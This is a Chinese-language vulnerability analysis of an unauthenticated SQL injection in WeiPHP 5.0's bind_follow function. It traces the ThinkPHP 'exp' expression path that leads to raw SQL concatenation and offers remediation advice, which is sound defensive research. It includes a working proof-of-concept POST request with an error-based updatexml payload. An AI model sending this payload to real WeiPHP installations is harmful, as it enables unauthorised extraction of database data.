WeiPHP 5.0 sql注入漏洞(bind_follow)浅析
字数 1197 2025-08-06 18:07:40
WeiPHP 5.0 SQL注入漏洞(bind_follow)深入分析与复现
漏洞概述
WeiPHP 5.0是一个基于ThinkPHP 5框架开发的开源移动应用系统。该系统在bind_follow功能处存在SQL注入漏洞,攻击者可通过构造恶意请求实现数据库信息泄露,无需登录即可利用,危害较大。
漏洞环境
- 系统版本:WeiPHP 5.0
- 框架依赖:ThinkPHP 5
- 漏洞文件:
/application/home/controller/Index.php中的bind_follow方法
漏洞复现
POC (Proof of Concept)
POST /weiphp5/public/index.php/home/Index/bind_follow HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
uid%5b0]=exp&uid[1]=)%20and%20updatexml%0a(1,concat(0x7e,/*!user*/(),0x7e),1)--+
预期结果
执行后将返回数据库错误信息,包含当前数据库用户信息。
漏洞分析
漏洞入口
漏洞位于/application/home/controller/Index.php中的bind_follow方法:
public function bind_follow()
{
$map['publicid'] = I('publicid');
$map['uid'] = I('uid');
$res = M('user_follow')->where(wp_where($map))->find();
// ...
}
关键漏洞点
-
输入处理流程:
- 使用
I()函数获取输入参数 I()函数最终调用think\facade\Request::input()方法- 输入过滤不严格,仅做了基本处理
- 使用
-
SQL注入形成过程:
- 用户输入通过
wp_where()函数处理 - 当
$value[0] == 'exp'时,进入Db::raw()处理 Db::raw()通过think\db\Expression类处理输入- 最终在SQL语句拼接时未对恶意输入进行过滤
- 用户输入通过
-
SQL语句构造:
- 原始SQL模板:
SELECT * FROM wp_user_follow WHERE publicid = :ThinkBind_1_ AND (uid) - 攻击者输入:
) and updatexml\n(1,concat(0x7e,/*!user*/(),0x7e),1)-- - 最终SQL语句:
SELECT * FROM `wp_user_follow` WHERE `publicid` = :ThinkBind_1_ AND ( `uid` ) and updatexml\n(1,concat(0x7e,/*!user*/(),0x7e),1)-- ) LIMIT 1
- 原始SQL模板:
漏洞利用链
- 用户输入
uid[0]=exp&uid[1]=恶意SQL wp_where处理数组参数- 当
$value[0] == 'exp'时进入特殊处理分支 - 通过
Db::raw()和think\db\Expression处理恶意输入 - 在
parseExp方法中直接拼接SQL语句 - 最终执行拼接后的恶意SQL语句
漏洞修复建议
-
输入验证:
- 对
uid参数进行严格类型检查 - 使用白名单验证输入内容
- 对
-
SQL处理改进:
- 避免直接使用用户输入构造SQL表达式
- 使用参数化查询替代直接拼接
-
框架层面:
- 升级到最新ThinkPHP版本
- 对
Db::raw()方法增加安全限制
技术总结
该漏洞的特别之处在于:
- 利用了ThinkPHP的表达式查询特性
- 通过
exp操作符绕过常规过滤 - 在SQL语句解析过程中形成注入
- 无需登录的前台注入,危害较大
漏洞形成的关键在于框架对exp表达式的处理不够严格,导致恶意输入被直接拼接到SQL语句中。